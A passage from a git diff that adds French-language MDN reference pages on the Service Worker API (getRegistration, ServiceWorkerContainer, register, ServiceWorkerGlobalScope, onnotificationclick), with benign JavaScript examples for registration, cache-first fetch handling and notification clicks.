+<p>La méthode <strong><code>getRegistration()</code></strong> de l'interface {{domxref("ServiceWorkerContainer")}} fournis un objet {{domxref("ServiceWorkerRegistration")}} dont la porté inclue l'URL du document. Cette méthode retourne une {{jsxref("Promise")}} qui se résout avec un {{domxref("ServiceWorkerRegistration")}} ou <code>undefined</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>serviceWorkerContainer</em>.getRegistration(<em>scope</em>).then(function(<em>serviceWorkerRegistration</em>) { ... });</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>scope</code> {{optional_inline}}</dt>
+ <dd>Un identifiant unique pour l'enregistrement du service worker que vous voulez récupérer. L'URL de porté de l'enregistrement . C'est souvent une URL relative.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{domxref("Promise")}} qui est résolue avec un objet {{domxref("ServiceWorkerRegistration")}} ou <code>undefined</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">navigator.serviceWorker.getRegistration('/app').then(function(registration) {
+  if(registration){
+    document.querySelector('#status').textContent = 'ServiceWorkerRegistration found.';
+  }
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-serviceworkercontainer-getregistration', 'ServiceWorkerContainer: getRegistration')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerContainer.getRegistration")}}</p>
+</div>
diff --git a/files/fr/web/api/serviceworkercontainer/index.html b/files/fr/web/api/serviceworkercontainer/index.html
new file mode 100644
index 0000000000..cd759571e6
--- /dev/null
+++ b/files/fr/web/api/serviceworkercontainer/index.html
@@ -0,0 +1,149 @@
+---
+title: ServiceWorkerContainer
+slug: Web/API/ServiceWorkerContainer
+translation_of: Web/API/ServiceWorkerContainer
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>L’interface <code>ServiceWorkerContainer</code> de l’<a href="/fr/docs/Web/API/ServiceWorker_API">API ServiceWorker</a> fournit un objet représentant le service worker comme une unité globale de l’écosystème réseau, incluant des fonctionnalités pour enregistrer, désenregistrer et mettre à jour des services workers, et accéder à l’état des services workers et de leurs enregistrements.</p>
+
+<p>Parmi le plus important, cette interface expose la méthode {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register(scriptURL, scope[, base])")}} utilisée pour enregistrer les services workers, et la propriété {{domxref("ServiceWorkerContainer.controller")}} utilisée pour déterminer si oui ou non la page courante est activement conrôlée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}</dt>
+ <dd>Retourne un objet {{domxref("ServiceWorker")}} si son état est <code>activated</code> (le même objet retourné par {{domxref("ServiceWorkerRegistration.active")}}). Cette propriété retourne <code style="font-style: normal;">null</code> si la requête est un rechargement forcé (<em>Majuscule</em> + rechargement) ou si il n'y a pas de worker actif.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}</dt>
+ <dd>Détermine si oui ou non un service worker est prêt à contrôler la page. Cette propriété retourne une {{jsxref("Promise")}} qui ne sera jamais rejetée, et se résoudra en un {{domxref("ServiceWorkerRegistration")}} avec un worker en état {{domxref("ServiceWorkerRegistration.active")}}.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'événement">Gestionnaires d'événement</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.oncontrollerchange")}}</dt>
+ <dd>Un gestionnaire d’événement lancé quand un événement {{Event("controllerchange")}} se produit — quand le {{domxref("ServiceWorkerRegistration")}} associé au document ajoute un nouveau worker en état {{domxref("ServiceWorkerRegistration.active")}}.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onerror")}}</dt>
+ <dd>Un gestionnaire d’événement lancé quand un événement {{Event("error")}} se produit dans le service worker associé.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onmessage")}}</dt>
+ <dd>Un gestionnaire d’événement lancé quand un événement {{Event("message")}} se produit — quand des messages entrants sont reçus par l’objet {{domxref("ServiceWorkerContainer")}} (e.g. par un appel à {{domxref("MessagePort.postMessage()")}}.)</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} </dt>
+ <dd>Crée ou met à jour un {{domxref("ServiceWorkerRegistration")}} pour un <code>scriptURL</code> donné.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistration()")}}</dt>
+ <dd>Récupère un objet {{domxref("ServiceWorkerRegistration")}} dont l’URL de la portée correspond à l’URL du document fourni.  Si la méthode ne peut retourner un {{domxref("ServiceWorkerRegistration")}}, elle retourne une <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistrations()")}}</dt>
+ <dd>Retourne tous les  {{domxref("ServiceWorkerRegistration")}} associés à un <code>ServiceWorkerContainer</code> dans un tableau. Si la méthode ne peut retourner les {{domxref("ServiceWorkerRegistration")}}, elle retourne une <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet extrait de code provient de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/fallback-response/index.html#L126">exemple service worker fallback-response</a> (voir <a href="http://googlechrome.github.io/samples/service-worker/fallback-response/">fallback-response live</a>). Le code test si le navigateur supporte les services workers. Alors le code enregistre le service worker et détermine si la page est activement contrôlée par le service worker. Si elle ne l’est pas, il invite l’utilisateur à recharger la page pour permettre au service worker de prendre le contrôle. Ce code indique aussi les échecs d’enregistrement.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function() {
+    if (navigator.serviceWorker.controller) {
+      document.querySelector('#status').textContent = 'The service worker is currently handling network operations.';
+      showRequestButtons();
+    } else {
+      document.querySelector('#status').textContent = 'Please reload this page to allow the service worker to handle network operations.';
+    }
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  var aElement = document.createElement('a');
+  aElement.href = 'http://www.chromium.org/blink/serviceworker/service-worker-faq';
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les service workers (et le <a href="/en-US/docs/Web/API/Push_API">Push</a>) ont étés désactivé dans <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers : exemple basique</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Le ServiceWorker est-il prêt ?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/Performance/Using_web_workers">Utiliser les web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworkercontainer/register/index.html b/files/fr/web/api/serviceworkercontainer/register/index.html
new file mode 100644
index 0000000000..c254aa2bd4
--- /dev/null
+++ b/files/fr/web/api/serviceworkercontainer/register/index.html
@@ -0,0 +1,137 @@
+---
+title: ServiceWorkerContainer.register()
+slug: Web/API/ServiceWorkerContainer/register
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - ServicerWorkerContainer
+  - register
+translation_of: Web/API/ServiceWorkerContainer/register
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>register()</code></strong> de l'interface {{domxref("ServiceWorkerContainer")}} crée ou met à jour un {{domxref("ServiceWorkerRegistration")}} pour la <code>scriptURL</code> donnée.</span></p>
+
+<p>En cas de succès, un <code>ServiceWorkerRegistration</code> attache la <code>scriptURL</code> fournie à une portée, qui sera utilisé ensuite pour la correspondance de navigation. Vous pouvez appeler cette méthode en toutes circonstances depuis la page contrôlée. C'est-à-dire, vous <span class="tlid-translation translation" lang="fr"><span title="">n'avez pas besoin de vérifier </span></span><span class="tlid-translation translation" lang="fr"><span title="">si </span></span>un enregistrement existe déjà.</p>
+
+<p>Il y a une confusion fréquente autour de la signification et de l'utilisation de la portée. Puisque qu'un <code>ServiceWorker</code> ne peut pas avoir une portée plus large que son propre emplacement, utilisez uniquement l'option de la portée lorsque vous avez besoin d'une portée plus étroite que la valeur par défaut.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>serviceWorkerContainer</em>.register(<em>scriptURL</em>, <em>options</em>)
+  .then(function(<em>serviceWorkerRegistration</em>) { ... })</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>scriptURL</code></dt>
+ <dd>L' URL du script contenant le <code>ServiceWorker</code>. Le fichier qui a enregistré le <code>ServiceWorker</code> doit avoir un <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#JavaScript_types">JavaScript MIME type</a> valide.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet contenant les options d'<span class="tlid-translation translation" lang="fr"><span title="">enregistrement</span></span>. Les options sont:
+ <ul>
+  <li><code>scope</code>: Un {{domxref("USVString")}} représentant une URL qui définit la portée d'enregistrement d'un <code>ServiceWorker</code>; <span class="tlid-translation translation" lang="fr"><span title="">c'est-à-dire quelle plage d'URL</span></span> un <code>ServiceWorker</code> <span class="tlid-translation translation" lang="fr"><span title="">peut contrôler</span></span>. Il s'agit généralement d'une URL relative. Elle est relative à l'URL de base de l'application. Par défaut, la valeur de la portée de l'<span class="tlid-translation translation" lang="fr"><span title="">enregistrement</span></span> d'un <code>ServiceWorker</code> est limité au répertoire qui contient le script du <code>ServiceWorker</code>. Consultez la section <a href="#Exemples">Exemples</a> pour plus d'informations sur son fonctionnement.</li>
+  <li>{{non-standard_inline}} <code>type</code>: Un {{domxref("WorkerType")}}, il prend les valeurs "classic" ou "module". Par défaut, la valeur est fixé à "classic".</li>
+  <li>{{non-standard_inline}} <code>updateViaCache</code>: Un {{domxref("ServiceWorkerUpdateViaCache")}}, il prend les valeurs "imports" ou "all" ou "none". Par défaut, la valeur est fixé à "imports".</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref("Promise")}} <span class="tlid-translation translation" lang="fr"><span title=""> qui se résout avec un objet</span></span> {{domxref("ServiceWorkerRegistration")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les exemples décrits ici doivent être pris ensemble pour obtenir une meilleure compréhension de comment la portée des <code>ServiceWorker</code> s'applique à une page.</p>
+
+<p>L'exemple suivant utilise la valeur par défaut de la portée (en l'omettant). Le code du <code>ServiceWorker</code> dans ce cas, s'il est inclus dans <code>example.com/index.html</code>, contrôlera <code>example.com/index.html</code>, ainsi que les pages en dessous, comme <code>example.com/product/description.html</code>.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // Register a service worker hosted at the root of the
+  // site using the default scope.
+  navigator.serviceWorker.register('/sw.js').then(
+    (registration) =&gt; {
+      console.log('Service worker registration succeeded:', registration)
+    },
+    /*catch*/ (error) =&gt; {
+      console.log('Service worker registration failed:', error)
+    }
+  )
+} else {
+  console.log('Service workers are not supported.')
+}</pre>
+
+<p>Le code suivant, s'il est inclus dans <code>example.com/index.html</code>, à la racine d'un site, s'appliquerait exactement aux mêmes pages que l'exemple ci-dessus. N'oubliez pas que la portée, lorsqu'elle est incluse, utilise l'emplacement de la page comme base.</p>
+
+<p>Sinon, si ce code était inclus dans une page à <code>example.com/product/description.html</code>, avec le fichier Javascript résidant à <code>example.com/product/sw.js</code>, alors le service worker ne s'appliquerait qu'aux ressources sous <code>example.com /product</code>.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // declaring scope manually
+  navigator.serviceWorker.register('/sw.js', { scope: './' }).then(
+    (registration) =&gt; {
+      console.log('Service worker registration succeeded:', registration)
+    },
+    /*catch*/ (error) =&gt; {
+      console.log('Service worker registration failed:', error)
+    }
+  )
+} else {
+  console.log('Service workers are not supported.')
+}
+</pre>
+
+<p>Il y a une confusion fréquente autour de la signification et de l'utilisation de la portée. Puisque qu'un <code>ServiceWorker</code> ne peut pas avoir une portée plus large que son propre emplacement, utilisez uniquement l'option de la portée lorsque vous avez besoin d'une portée plus étroite que la valeur par défaut.</p>
+
+<p>Le code suivant, s'il est inclus dans <code>example.com/index.html</code>, à la racine d'un site, ne s'appliquerait qu'aux ressources sous <code>example.com/product</code>.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // declaring scope manually
+  navigator.serviceWorker.register('/sw.js', { scope: '/product/' }).then(
+    (registration) =&gt; {
+      console.log('Service worker registration succeeded:', registration)
+    },
+    /*catch*/ (error) =&gt; {
+      console.log('Service worker registration failed:', error)
+    }
+  )
+} else {
+  console.log('Service workers are not supported.')
+}</pre>
+
+<p>Toutefois, les serveurs peuvent supprimer cette restriction en définissant un en-tête <a href="https://w3c.github.io/ServiceWorker/#service-worker-allowed" id="ref-for-service-worker-allowed">Service-Worker-Allowed</a> sur le script du <code>ServiceWorker</code>, et alors vous pouvez spécifier une portée maximale pour ce <code>ServiceWorker</code> au-dessus de l'emplacement du <code>ServiceWorker</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-serviceworkercontainer-register', 'ServiceWorkerContainer: register')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerContainer.register")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/service-workers/#navigator-service-worker-register">W3.org ServiceWorker Register</a></li>
+ <li><a href="https://w3c.github.io/ServiceWorker/#dom-serviceworkercontainer-register">W3c.github.io ServiceWorker Register</a></li>
+ <li><a href="https://www.w3.org/TR/service-workers/#enumdef-serviceworkerupdateviacache">W3.org option update via cache</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/workers.html#workertype">WHATWG.org Worker Type</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworkerglobalscope/index.html b/files/fr/web/api/serviceworkerglobalscope/index.html
new file mode 100644
index 0000000000..a114ee3ee4
--- /dev/null
+++ b/files/fr/web/api/serviceworkerglobalscope/index.html
@@ -0,0 +1,152 @@
+---
+title: ServiceWorkerGlobalScope
+slug: Web/API/ServiceWorkerGlobalScope
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorkerGlobalScope
+  - TopicStub
+translation_of: Web/API/ServiceWorkerGlobalScope
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>The <strong><code>ServiceWorkerGlobalScope</code></strong> interface of the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> represents the global execution context of a service worker.</p>
+
+<p>Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.</p>
+
+<p>Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}.</p>
+
+<p>Additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the {{domxref("GlobalFetch.fetch", "fetch()")}} method, can be used.</p>
+
+<p>This interface inherits from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</p>
+
+<p>{{InheritanceDiagram(700, 85, 20)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("CacheStorage")}} object associated with the service worker.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("Clients")}} object associated with the service worker.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}}</dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onactivate")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/contentdelete_event", "contentdelete")}}</dt>
+ <dd>Occurs when an item is removed from the {{domxref("ContentIndex", "Content Index")}}.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oncontentdelete")}} property.</dd>
+ <dt><code>fetch</code></dt>
+ <dd>Occurs when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onfetch")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/install_event", "install")}}</dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oninstall")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/message_event", "message")}}</dt>
+ <dd>Occurs when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in <a href="https://html.spec.whatwg.org/multipage/comms.html#messageport"><code>event.data.port</code></a>, corresponding to the controlled page.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onmessage")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/notificationclick_event", "notificationclick")}}</dt>
+ <dd>Occurs when a user clicks on a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} property.</dd>
+ <dt><code>notificationclose</code></dt>
+ <dd>Occurs — when a user closes a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclose")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/push_event", "push")}}</dt>
+ <dd>Occurs when a server push notification is received.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpush")}} property.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope/pushsubscriptionchange_event", "pushsubscriptionchange")}}</dt>
+ <dd>Occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time).<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} property.</dd>
+ <dt><code>sync</code></dt>
+ <dd>Triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onsync")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}</dt>
+ <dd>Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.</dd>
+</dl>
+
+<p><code>ServiceWorkerGlobalScope</code> implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("WindowOrWorkerGlobalScope")}}. Therefore it also has the following property available to it:</p>
+
+<dl>
+ <dt>{{domxref("GlobalFetch.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">service worker prefetch sample</a> (see <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">prefetch example live</a>.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the <code>fetch</code> event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.</p>
+
+<p>The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }, function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Service Workers', '#serviceworkerglobalscope-interface', 'ServiceWorkerGlobalScope')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.html b/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.html
new file mode 100644
index 0000000000..d3c2e405b6
--- /dev/null
+++ b/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.html
@@ -0,0 +1,77 @@
+---
+title: ServiceWorkerGlobalScope.onnotificationclick
+slug: Web/API/ServiceWorkerGlobalScope/onnotificationclick
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Propriété
+  - Reference
+  - ServiceWorkerGlobalScope
+  - onnotificationclick
+translation_of: Web/API/ServiceWorkerGlobalScope/onnotificationclick
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>ServiceWorkerGlobalScope.onnotificationclick</code></strong> est un gestionnaire d'événements appelé chaque fois que l'événement {{Event("notificationclick")}} est envoyé sur l'objet {{domxref ("ServiceWorkerGlobalScope")}}, c'est-à-dire lorsqu'un utilisateur clique sur une notification affichée générée par {{domxref("ServiceWorkerRegistration.showNotification()")}}.</span></p>
+
+<p>Les notifications créées sur le thread principal ou dans un worker qui ne sont pas des service worker utilisant le constructeur {{domxref ("Notification.Notification", "Notification()")}} recevront à la place un événement {{Event("click")}} sur l'objet <code>Notification</code> lui-même.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Essayer de créer une notification dans le {{domxref ("ServiceWorkerGlobalScope")}} en utilisant le constructeur {{domxref ("Notification.Notification", "Notification()")}} générera une erreur.</p>
+</div>
+
+<h2 id="Syntaxe" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntaxe</h2>
+
+<pre class="brush: js notranslate" style="font-size: 14px;">ServiceWorkerGlobalScope.onnotificationclick = function(NotificationEvent) { ... }
+ServiceWorkerGlobalScope.onnotificationclick = (NotificationEvent) =&gt; { ... }
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">self.onnotificationclick = (event) =&gt; {
+  console.log('On notification click: ', event.notification.tag)
+  event.notification.close()
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(
+    clients
+      .matchAll({
+        type: 'window'
+      })
+      .then((clientList) =&gt; {
+        for (let i = 0; i &lt; clientList.length; i++) {
+          const client = clientList[i]
+          if (client.url == '/' &amp;&amp; 'focus' in client) return client.focus()
+        }
+        if (clients.openWindow) return clients.openWindow('/')
+      })
+  )
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Spécification</span></font></th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale. Cette propriété est spécifiée dans {{domxref ('Notifications_API')}} même si elle fait partie de {{domxref ('ServiceWorkerGlobalScope')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.onnotificationclick")}}</p>
+</div>
diff --git a/files/fr/web/api/serviceworkerregistration/active/index.html b/files/fr/web/api/serviceworkerregistration/active/index.html
new file mode 100644
index 0000000000..75c2c257a1
--- /dev/null
+++ b/files/fr/web/api/serviceworkerregistration/active/index.html
@@ -0,0 +1,59 @@
+---
+title: ServiceWorkerRegistration.active
+slug: Web/API/ServiceWorkerRegistration/active
+translation_of: Web/API/ServiceWorkerRegistration/active
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
